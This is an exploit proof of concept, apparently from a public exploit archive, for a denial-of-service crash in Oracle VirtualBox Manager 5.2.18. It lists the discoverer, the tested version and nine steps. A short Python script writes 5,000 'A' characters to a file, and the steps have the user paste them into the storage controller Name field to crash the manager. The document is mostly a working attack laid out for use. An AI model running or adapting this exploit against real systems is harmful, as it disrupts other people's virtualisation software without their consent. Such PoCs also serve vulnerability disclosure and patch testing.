Oracle VirtualBox Manager 5.2.18 r124319 Denial Of Service

`# Exploit Title: Oracle VirtualBox Manager 5.2.18 r124319 - 'Name Attribute' Denial of Service (PoC)  
# Discovery by: Jose Eduardo Castro  
# Discovery Date: 2018-09-14  
# Vendor Homepage: https://www.virtualbox.org/  
# Software Link: https://download.virtualbox.org/virtualbox/5.2.18/VirtualBox-5.2.18-124319-Win.exe  
# Tested Version: 5.2.18 r124319  
# Tested on OS : Windows 7 Ultimate x64 es  
  
#!/usr/bin/env python  
#-*-coding: utf-8-*-  
# Steps to Produce the DoS:   
# 1.- Run python code : python vb_dos.py  
# 2.- Open string.txt and copy content to clipboard  
# 3.- Open VM VirtualBox Manager  
# 4.- Select a created virtual machine in mode "power off" and select "Settings"  
# 5.- Select "Storage" button  
# 6.- Select option "Adds new storage controller" and select any controller  
# 7.- Paste ClipBoard on "Name"  
# 8.- Clic OK  
# 9.- DoS  
  
import socket, os, sys  
  
buffer = "\x41" * 5000  
  
f = open ("string.txt", "w")  
f.write(buffer)  
f.close()  
  
`